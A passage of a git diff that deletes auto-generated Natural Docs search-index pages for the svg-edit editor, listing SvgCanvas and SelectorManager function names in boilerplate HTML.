-      "Numbers": false,
-      "A": true,
-      "B": true,
-      "C": true,
-      "D": true,
-      "E": true,
-      "F": true,
-      "G": true,
-      "H": true,
-      "I": true,
-      "J": false,
-      "K": false,
-      "L": true,
-      "M": true,
-      "N": false,
-      "O": false,
-      "P": true,
-      "Q": false,
-      "R": true,
-      "S": true,
-      "T": true,
-      "U": true,
-      "V": false,
-      "W": true,
-      "X": false,
-      "Y": false,
-      "Z": false
-      },
-   "Interfaces": {
-      "Symbols": false,
-      "Numbers": false,
-      "A": false,
-      "B": false,
-      "C": false,
-      "D": false,
-      "E": false,
-      "F": false,
-      "G": false,
-      "H": false,
-      "I": false,
-      "J": false,
-      "K": false,
-      "L": false,
-      "M": false,
-      "N": false,
-      "O": false,
-      "P": false,
-      "Q": false,
-      "R": false,
-      "S": true,
-      "T": false,
-      "U": false,
-      "V": false,
-      "W": false,
-      "X": false,
-      "Y": false,
-      "Z": false
-      },
-   "Classes": {
-      "Symbols": false,
-      "Numbers": false,
-      "A": false,
-      "B": false,
-      "C": false,
-      "D": false,
-      "E": false,
-      "F": false,
-      "G": false,
-      "H": false,
-      "I": false,
-      "J": false,
-      "K": false,
-      "L": false,
-      "M": false,
-      "N": false,
-      "O": false,
-      "P": false,
-      "Q": false,
-      "R": false,
-      "S": true,
-      "T": false,
-      "U": false,
-      "V": false,
-      "W": false,
-      "X": false,
-      "Y": false,
-      "Z": false
-      }
-   }
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FilesS.html b/public/svg-edit/docs/search/FilesS.html
deleted file mode 100644
index 690d961d..00000000
--- a/public/svg-edit/docs/search/FilesS.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_svgcanvas_minlatest_spccopy_perjs><div class=IEntry><a href="javascript:searchResults.Toggle('SR_svgcanvas_minlatest_spccopy_perjs')" class=ISymbol>svgcanvas-latest copy.js</a><div class=ISubIndex><a href="../files/editor/svgcanvas-latest_copy-js.html#svgcanvas-latest_copy.js" target=_parent class=IFile>editor/<wbr>svgcanvas-latest copy.js</a><a href="../files/editor_old/svgcanvas-latest_copy-js.html#svgcanvas-latest_copy.js" target=_parent class=IFile>editor_old/<wbr>svgcanvas-latest copy.js</a></div></div></div><div class=SRResult id=SR_svgcanvas_minmine_perjs><div class=IEntry><a href="javascript:searchResults.Toggle('SR_svgcanvas_minmine_perjs')" class=ISymbol>svgcanvas-mine.js</a><div class=ISubIndex><a href="../files/editor/svgcanvas-mine-js.html#svgcanvas-mine.js" target=_parent class=IFile>editor/<wbr>svgcanvas-mine.js</a><a href="../files/editor_old/svgcanvas-mine-js.html#svgcanvas-mine.js" target=_parent class=IFile>editor_old/<wbr>svgcanvas-mine.js</a></div></div></div><div class=SRResult id=SR_svgcanvas_mintextanchor_minexperiment_perjs><div class=IEntry><a href="javascript:searchResults.Toggle('SR_svgcanvas_mintextanchor_minexperiment_perjs')" class=ISymbol>svgcanvas-textanchor-experiment.js</a><div class=ISubIndex><a href="../files/editor/svgcanvas-textanchor-experiment-js.html#svgcanvas-textanchor-experiment.js" target=_parent class=IFile>editor/<wbr>svgcanvas-textanchor-experiment.js</a><a href="../files/editor_old/svgcanvas-textanchor-experiment-js.html#svgcanvas-textanchor-experiment.js" target=_parent class=IFile>editor_old/<wbr>svgcanvas-textanchor-experiment.js</a></div></div></div><div class=SRResult id=SR_svgcanvas_perjs><div class=IEntry><a href="javascript:searchResults.Toggle('SR_svgcanvas_perjs')" class=ISymbol>svgcanvas.js</a><div class=ISubIndex><a href="../files/editor/svgcanvas-js.html#svgcanvas.js" target=_parent class=IFile>editor/<wbr>svgcanvas.js</a><a href="../files/editor_old/svgcanvas-js.html#svgcanvas.js" target=_parent class=IFile>editor_old/<wbr>svgcanvas.js</a></div></div></div><div class=SRResult id=SR_svgcanvas_undsubpaths_perjs><div class=IEntry><a href="javascript:searchResults.Toggle('SR_svgcanvas_undsubpaths_perjs')" class=ISymbol>svgcanvas_subpaths.js</a><div class=ISubIndex><a href="../files/editor/svgcanvas_subpaths-js.html#svgcanvas_subpaths.js" target=_parent class=IFile>editor/<wbr>svgcanvas_subpaths.js</a><a href="../files/editor_old/svgcanvas_subpaths-js.html#svgcanvas_subpaths.js" target=_parent class=IFile>editor_old/<wbr>svgcanvas_subpaths.js</a></div></div></div><div class=SRResult id=SR_svgcanvas_undtemp_perjs><div class=IEntry><a href="javascript:searchResults.Toggle('SR_svgcanvas_undtemp_perjs')" class=ISymbol>svgcanvas_temp.js</a><div class=ISubIndex><a href="../files/editor/svgcanvas_temp-js.html#svgcanvas_temp.js" target=_parent class=IFile>editor/<wbr>svgcanvas_temp.js</a><a href="../files/editor_old/svgcanvas_temp-js.html#svgcanvas_temp.js" target=_parent class=IFile>editor_old/<wbr>svgcanvas_temp.js</a></div></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FunctionsA.html b/public/svg-edit/docs/search/FunctionsA.html
deleted file mode 100644
index de24e1f5..00000000
--- a/public/svg-edit/docs/search/FunctionsA.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_addCommandToHistory><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.addCommandToHistory" target=_parent class=ISymbol>addCommandToHistory</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_addExtension><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addExtension" target=_parent class=ISymbol>addExtension</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_addSubCommand><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.addSubCommand" target=_parent class=ISymbol>addSubCommand</a>, <span class=IParent>SvgCanvas.<wbr>BatchCommand</span></div></div><div class=SRResult id=SR_addSvgElementFromJson><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addSvgElementFromJson" target=_parent class=ISymbol>addSvgElementFromJson</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_addToSelection><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addToSelection" target=_parent class=ISymbol>addToSelection</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_alignSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.alignSelectedElements" target=_parent class=ISymbol>alignSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_apply><div class=IEntry><a href="javascript:searchResults.Toggle('SR_apply')" class=ISymbol>apply</a><div class=ISubIndex><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.apply" target=_parent class=IParent>SvgCanvas.<wbr>BatchCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand.apply" target=_parent class=IParent>SvgCanvas.<wbr>ChangeElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.InsertElementCommand.apply" target=_parent class=IParent>SvgCanvas.<wbr>InsertElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.RemoveElementCommand.apply" target=_parent class=IParent>SvgCanvas.<wbr>RemoveElementCommand</a></div></div></div><div class=SRResult id=SR_assignAttributes><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.assignAttributes" target=_parent class=ISymbol>assignAttributes</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FunctionsC.html b/public/svg-edit/docs/search/FunctionsC.html
deleted file mode 100644
index eb4b747c..00000000
--- a/public/svg-edit/docs/search/FunctionsC.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_ChangeElementCommand><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand" target=_parent class=ISymbol>ChangeElementCommand</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_changeSelectedAttribute><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.changeSelectedAttribute" target=_parent class=ISymbol>changeSelectedAttribute</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_changeSelectedAttributeNoUndo><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.changeSelectedAttributeNoUndo" target=_parent class=ISymbol>changeSelectedAttributeNoUndo</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_cleanupElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cleanupElement" target=_parent class=ISymbol>cleanupElement</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_clear><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.clear" target=_parent class=ISymbol>clear</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_clearSelection><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.clearSelection" target=_parent class=ISymbol>clearSelection</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_cloneSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cloneSelectedElements" target=_parent class=ISymbol>cloneSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_convertToNum><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.convertToNum" target=_parent class=ISymbol>convertToNum</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_convertToPath><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.convertToPath" target=_parent class=ISymbol>convertToPath</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_convertToXMLReferences><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.convertToXMLReferences" target=_parent class=ISymbol>convertToXMLReferences</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></div></div><div class=SRResult id=SR_copyElem><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.copyElem" target=_parent class=ISymbol>copyElem</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_createLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.createLayer" target=_parent class=ISymbol>createLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_cycleElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cycleElement" target=_parent class=ISymbol>cycleElement</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FunctionsD.html b/public/svg-edit/docs/search/FunctionsD.html
deleted file mode 100644
index 1c28ffcf..00000000
--- a/public/svg-edit/docs/search/FunctionsD.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_decode64><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.decode64" target=_parent class=ISymbol>decode64</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></div></div><div class=SRResult id=SR_deleteCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.deleteCurrentLayer" target=_parent class=ISymbol>deleteCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_deleteSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.deleteSelectedElements" target=_parent class=ISymbol>deleteSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FunctionsG.html b/public/svg-edit/docs/search/FunctionsG.html
deleted file mode 100644
index c7e504e9..00000000
--- a/public/svg-edit/docs/search/FunctionsG.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_getBBox><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getBBox" target=_parent class=ISymbol>getBBox</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getBlur><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getBlur" target=_parent class=ISymbol>getBlur</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getBold><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getBold" target=_parent class=ISymbol>getBold</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getColor><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getColor" target=_parent class=ISymbol>getColor</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getContentElem><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getContentElem" target=_parent class=ISymbol>getContentElem</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getCurrentLayer" target=_parent class=ISymbol>getCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getDocumentTitle><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getDocumentTitle" target=_parent class=ISymbol>getDocumentTitle</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getEditorNS><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getEditorNS" target=_parent class=ISymbol>getEditorNS</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getElem><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getElem" target=_parent class=ISymbol>getElem</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getFontFamily><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getFontFamily" target=_parent class=ISymbol>getFontFamily</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getFontSize><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getFontSize" target=_parent class=ISymbol>getFontSize</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getId><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getId" target=_parent class=ISymbol>getId</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getItalic><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getItalic" target=_parent class=ISymbol>getItalic</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getLayer" target=_parent class=ISymbol>getLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getLayerOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getLayerOpacity" target=_parent class=ISymbol>getLayerOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getLayerVisibility><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getLayerVisibility" target=_parent class=ISymbol>getLayerVisibility</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getMatrix><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getMatrix" target=_parent class=ISymbol>getMatrix</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getMode><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getMode" target=_parent class=ISymbol>getMode</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getMouseTarget><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getMouseTarget" target=_parent class=ISymbol>getMouseTarget</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getNextId><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getNextId" target=_parent class=ISymbol>getNextId</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getNextRedoCommandText><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.getNextRedoCommandText" target=_parent class=ISymbol>getNextRedoCommandText</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_getNextUndoCommandText><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.getNextUndoCommandText" target=_parent class=ISymbol>getNextUndoCommandText</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_getNumLayers><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getNumLayers" target=_parent class=ISymbol>getNumLayers</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getOffset><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getOffset" target=_parent class=ISymbol>getOffset</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getOpacity" target=_parent class=ISymbol>getOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getPathBBox><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getPathBBox" target=_parent class=ISymbol>getPathBBox</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getRedoStackSize><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.getRedoStackSize" target=_parent class=ISymbol>getRedoStackSize</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_getResolution><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getResolution" target=_parent class=ISymbol>getResolution</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getRootElem><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getRootElem" target=_parent class=ISymbol>getRootElem</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getRotationAngle><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getRotationAngle" target=_parent class=ISymbol>getRotationAngle</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getRubberBandBox><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.SelectorManager.getRubberBandBox" target=_parent class=ISymbol>getRubberBandBox</a>, <span class=IParent>SelectorManager.<wbr>SelectorManager</span></div></div><div class=SRResult id=SR_getSelectedElems><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getSelectedElems" target=_parent class=ISymbol>getSelectedElems</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getStrokedBBox><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getStrokedBBox" target=_parent class=ISymbol>getStrokedBBox</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getStrokeOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getStrokeOpacity" target=_parent class=ISymbol>getStrokeOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getStrokeWidth><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getStrokeWidth" target=_parent class=ISymbol>getStrokeWidth</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getSvgString><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getSvgString" target=_parent class=ISymbol>getSvgString</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getText><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getText" target=_parent class=ISymbol>getText</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getTransformList><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getTransformList" target=_parent class=ISymbol>getTransformList</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getUndoStackSize><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.getUndoStackSize" target=_parent class=ISymbol>getUndoStackSize</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_getUrlFromAttr><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getUrlFromAttr" target=_parent class=ISymbol>getUrlFromAttr</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getVersion><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getVersion" target=_parent class=ISymbol>getVersion</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getVisibleElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getVisibleElements" target=_parent class=ISymbol>getVisibleElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getZoom><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getZoom" target=_parent class=ISymbol>getZoom</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_groupSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.groupSelectedElements" target=_parent class=ISymbol>groupSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FunctionsM.html b/public/svg-edit/docs/search/FunctionsM.html
deleted file mode 100644
index fbb3112a..00000000
--- a/public/svg-edit/docs/search/FunctionsM.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_matrixMultiply><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.matrixMultiply" target=_parent class=ISymbol>matrixMultiply</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_MoveElementCommand><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.MoveElementCommand" target=_parent class=ISymbol>MoveElementCommand</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_moveSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.moveSelectedElements" target=_parent class=ISymbol>moveSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_moveSelectedToLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.moveSelectedToLayer" target=_parent class=ISymbol>moveSelectedToLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_moveToBottomSelectedElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.moveToBottomSelectedElement" target=_parent class=ISymbol>moveToBottomSelectedElement</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_moveToTopSelectedElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.moveToTopSelectedElement" target=_parent class=ISymbol>moveToTopSelectedElement</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FunctionsO.html b/public/svg-edit/docs/search/FunctionsO.html
deleted file mode 100644
index 76f92f65..00000000
--- a/public/svg-edit/docs/search/FunctionsO.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
